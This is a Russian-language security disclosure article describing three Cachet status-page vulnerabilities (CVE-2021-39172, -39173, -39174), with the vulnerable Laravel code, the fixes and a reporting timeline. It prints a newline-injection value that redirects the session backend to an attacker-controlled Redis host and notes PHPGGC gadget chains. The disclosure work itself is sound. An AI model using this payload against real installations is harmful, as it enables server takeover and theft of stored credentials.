Страницы статуса стали неотъемлемым сервисом, предлагаемым всеми компаниями, предоставляющими программное обеспечение как услугу. Чтобы способствовать их принятию, стартапы быстро разработали страницы статуса как услугу, и были доступны альтернативы с открытым исходным кодом для самостоятельного размещения. Cachet, иногда также называемый CachetHQ, является широко используемой системой страниц статуса, написанной на PHP, и имеет множество форков сообщества, таких как fiveai/Cachet.
Поражение экземпляров Cachet выгодно для атакующих, поскольку они хранят секреты для различных служб, таких как кэши, базы данных, серверы электронной почты и т. д. Этот начальный плацдарм в инфраструктуре помогает им проникнуть в внутреннюю сеть пострадавшей компании и проводить дальнейшие атаки. В этой статье я представляю техническое исследование трех уязвимостей безопасности, которые моя команда и я обнаружили в Cachet 2.4. Они могут позволить злоумышленникам взломать сервер.
Воздействие
Использование этих уязвимостей было проверено на последнем официальном релизе Cachet на тот момент (2.3.18), а также на ветке разработки (2.4). Злоумышленник, стремящийся использовать эти уязвимости, требуется иметь действительную учетную запись пользователя с базовыми привилегиями, сценарий, который может быть реалистично использован с помощью:
- Использование stuffing учетных данных благодаря значительному количеству утечек учетных записей каждый год.
- A compromised or malicious user.
- Наличие уязвимости на стороне клиента на той же периферии.
- Использование CVE-2021-39165, предварительно аутентифицированной SQL-инъекции в Cachet, исправленной в январе 2021 года.
Уязвимость 1: CVE-2021-39172
Первая уязвимость (CVE-2021-39172) – это инъекция новой строки, которая происходит при обновлении конфигурации экземпляра, например, настроек электронной почты. Она позволяет атакующим вводить новые директивы и изменять поведение основных функций, что приводит к выполнению произвольного кода.
Следующее видео демонстрирует эксплуатацию этой уязвимости. Для демонстрации были выполнены несколько шагов вручную, но их могут автоматизировать атакующие:
Источник: Sonar YouTube
Уязвимость 2: CVE-2021-39174
Вторая уязвимость (CVE-2021-39174) также связана с этой функцией и позволяет атакующему извлекать секреты, хранящиеся в файле конфигурации, например, пароль SMTP-сервера, ключ шифрования приложения и т.д.
Уязвимость 3: CVE-2021-39173
Наконец, последняя ошибка (CVE-2021-39173) намного проще и позволяет проходить процесс настройки даже если экземпляр уже полностью настроен. Таким образом, атакующие могут обмануть экземпляр Cachet, заставив его использовать произвольную базу данных под их контролем, что в конечном итоге приводит к выполнению произвольного кода.
Патчи для этих трех уязвимостей доступны в релизе 2.5.1 форка FiveAI.
Технические Детали
В этом разделе я описываю технические детали каждой уязвимости и способы их устранения в последнем выпуске форка сообщества.
CVE-2021-39172: удаленное выполнение кода
Панель управления Cachet предоставляет несколько конфигурационных представлений (даже для неадминистративных пользователей) для изменения имени экземпляра, настроек почтового сервера и т. д. Прикладные постоянные настройки сохраняются в базе данных, а другие значения на уровне фреймворка непосредственно сохраняются в конфигурационном файле приложения. Фреймворк Laravel использует dotenv конфигурационные файлы, формат похож на то, как вы объявляете переменные окружения в сценарии оболочки. Их поддержка реализована в сторонней библиотеке здесь.
При изменении настроек поставщика электронной почты контроллер создает объект класса UpdateConfigCommand
. Команды Laravel, в контексте командной шины, являются способом удаления прикладной специфической логики из контроллеров; они будут синхронно выполнены при вызове execute()
на объекте. Это происходит на [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
public function postMail()
{
$config = Binput::get('config');
execute(new UpdateConfigCommand($config)); // [1]
return cachet_redirect('dashboard.settings.mail')
->withInput(Binput::all())
->withSuccess(trans('dashboard.notifications.awesome'));
}
Связанный обработчик UpdateConfigCommandHandler
отвечает за выполнение изменений в существующем файле dotenv путем замены существующих записей на новые.
UpdateConfigCommandHandler
может быть активирован кодом в двух различных местах:
SetupController@postStep3
: последний шаг процесса установки. Как только экземпляр установлен, этот код больше не может быть достигнут;SettingsController@postMail
: при обновлении dotenv записей, связанных с почтовыми серверами.
Сначала он оценивает полный файл конфигурации для заполнения окружения процесса ([1]
), определяет, уже ли определена директива обновления ([2]
), и заменяет запись на ее новое значение ([3]
):
app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php
:
<?php
class UpdateConfigCommandHandler
{
// [...]
public function handle(UpdateConfigCommand $command)
{
foreach ($command->values as $setting => $value) {
$this->writeEnv($setting, $value);
}
}
// [...]
protected function writeEnv($key, $value)
{
$dir = app()->environmentPath();
$file = app()->environmentFile();
$path = "{$dir}/{$file}";
try {
(new Dotenv($dir, $file))->load(); // [1]
$envKey = strtoupper($key);
$envValue = env($envKey) ?: 'null'; // [2]
file_put_contents($path, str_replace( // [3]
"{$envKey}={$envValue}",
"{$envKey}={$value}",
file_get_contents($path)
));
} catch (InvalidPathException $e) {
throw $e;
}
}
}
На входящие данные не выполняется проверка: если запись конфигурации уже существует, она будет заменена на значение, поступающее из параметра. Если злоумышленник предоставляет значение, содержащее новые строки, это создаст новые записи в файле dotenv и может изменить функциональность на уровне фреймворка.
Примечание: используется только первое определение переменной в файле dotenv; последующие будут проигнорированы.
На проектах Laravel этот примитив достаточен для достижения произвольного выполнения кода. Исходный файл конфигурации dotenv вероятно будет выглядеть следующим образом в большинстве экземпляров:
.env
:
APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null
Нападающие могут заменить ключ CACHE_DRIVER
и зарегистрировать сервер Redis под своим контролем в качестве нового бэкенда для сессий:
file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis
После отправки запроса, который устанавливает CACHE_DRIVER
на это значение, файл dotenv будет выглядеть следующим образом:
.env
:
APP_ENV=production
APP_DEBUG=false
APP_URL=http://cachet.internal
APP_TIMEZONE=UTC
// [...]
CACHE_DRIVER=file
REDIS_HOST=some.remote.server
REDIS_DATABASE=0
REDIS_PORT=6379
SESSION_DRIVER=redis
SESSION_DRIVER=file
QUEUE_DRIVER=null
// [...]
Поскольку сессии Laravel сериализуются с использованием встроенного формата PHP, они анализируются с помощью функции unserialize()
. Это известная уязвимость, которую можно использовать для выполнения произвольного кода с помощью последовательности специально созданных объектов, концепция которых называется “цепочками pop”. Инструмент PHPGGC может генерировать такие цепочки для проектов Laravel.
Возможны и другие способы использования выполнения команд из новой строки инъекции в файле dotenv, но мы не проводили дальнейших исследований в этом направлении. Моя команда и я интересуемся, знает ли вас какие-либо другие методы!
CVE-2021-39174: Утечка конфигурации
Как я описывал в предыдущем разделе, можно иметь прямой доступ для чтения и записи к значениям, хранящимся в файле dotenv. Запись в этот файл в конечном итоге приводит к выполнению произвольного кода, но может ли это также быть использовано с учетом того, что значения этого файла отображаются в интерфейсе?
Документация по vlucas/phpdotenv
описывает, что она поддерживает присваивание вложенных переменных: при объявлении переменной можно ссылаться на ранее объявленную с использованием синтаксиса ${NAME}
.
Эта функция удобна: ссылаясь на другую переменную в записи файла конфигурации dotenv и отображая эту запись в интерфейсе, она раскрывает значение другой переменной.
Уже широко документировано, что утечка APP_KEY
приводит к выполнению кода, если драйвер сессии установлен на cookie, и эта примитивная возможность также может быть использована для утечки DB_PASSWORD
и MAIL_PASSWORD
для проведения дальнейших атак.
CVE-2021-39173: Принудительная переустановка
Страница настройки недоступна, если экземпляр уже установлен, как это реализовано в middleware. SetupAlreadyCompleted
:
app/Http/Middleware/SetupAlreadyCompleted.php
:
settings->get('app_name')) {
return cachet_redirect('dashboard');
}
} catch (ReadException $e) {
// не настроено тогда!
}
return $next($request);
}
}
Проверка основана исключительно на значении настройки: если оно не определено или пусто, middleware будет считать, что экземпляр установлен.
В случае, если вы задаётесь вопросом, что ещё может оцениваться как false, вот краткое руководство по системе типов в PHP при сравнениях до PHP 8. Сравнение может выполняться с использованием проверки равенства (==) или проверки идентичности (===). Проверки равенства подразумевают, что тип операндов не учитывается, и строки могут быть преобразованы в числа заранее. Это поведение было названо “переключением типов” и было использовано в различных реальных уязвимостях (CVE-2017-1001000, CVE-2019-10231). В случае вышеупомянутого сравнения любое значение, равное пустой строке или “0”, будет оцениваться как false
и предоставит доступ к страницам настройки.
Значение app_name
не проверяется при обновлении настроек в SettingsController@postSettings
, на [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
class SettingsController extends Controller
{
// [...]
public function postSettings()
{
$setting = app(Repository::class);
// [...]
$parameters = Binput::all();
// [...]
$excludedParams = [
'_token',
'app_banner',
'remove_banner',
'header',
'footer',
'stylesheet',
];
try {
foreach (Binput::except($excludedParams) as $settingName =>
$settingValue) {
if ($settingName === 'app_analytics_pi_url') {
$settingValue = rtrim($settingValue, '/');
}
$setting->set($settingName, $settingValue); // <-- [1]
// [...]
Таким образом, аутентифицированный пользователь может обновить его до значения, оцениваемого как false, а затем получить доступ/настроить заново для переустановки экземпляра с новым аккаунтом администратора (повышение привилегий) или воспользоваться нашим первым находками и получить выполнение кода (помните, UpdateConfigCommandHandler
также может быть использован из этого пути).
Патч
Уязвимость инъекции новой строки (CVE-2021-39172) была решена путём улучшения проверки входящих значений в UpdateConfigCommandHandler
, отклоняя любые модификации, содержащие символы новой строки.
Баг утечки конфигурации (CVE-2021-39174) оказался более сложным для исправления, так как последнюю версию библиотеки dotenv не удалось импортировать из-за существующих зависимостей. Вместо этого был перенесён соответствующий код, позволяющий обработчику команд определять, содержит ли значение вложенную переменную.
Наконец, невозможно принудительно переустановить существующие экземпляры (CVE-2021-39173) благодаря улучшенным проверкам в затронутом middleware.
Хронология
DATE | ACTION |
2021-03-26 | Issues reported by email to the official security disclosure address of the upstream project. |
2021-06-25 | We send the security issues and patches to the community-supported fork (fiveai/Cachet). |
2021-08-27 | Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174. |
Краткий обзор
В данной статье я проанализировал три уязвимости в Cachet и продемонстрировал возможность захвата экземпляров с использованием только базовых разрешений пользователя с помощью файлов конфигурации Laravel. Также я описал примененные исправления со стороны разработчиков и то, как они предотвращают атаки, которые я представил.
Наконец, моя команда и я хотели бы поблагодарить разработчиков форка FiveAI Cachet за признание нашего обзора и своевременное и профессиональное устранение этих уязвимостей.
Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection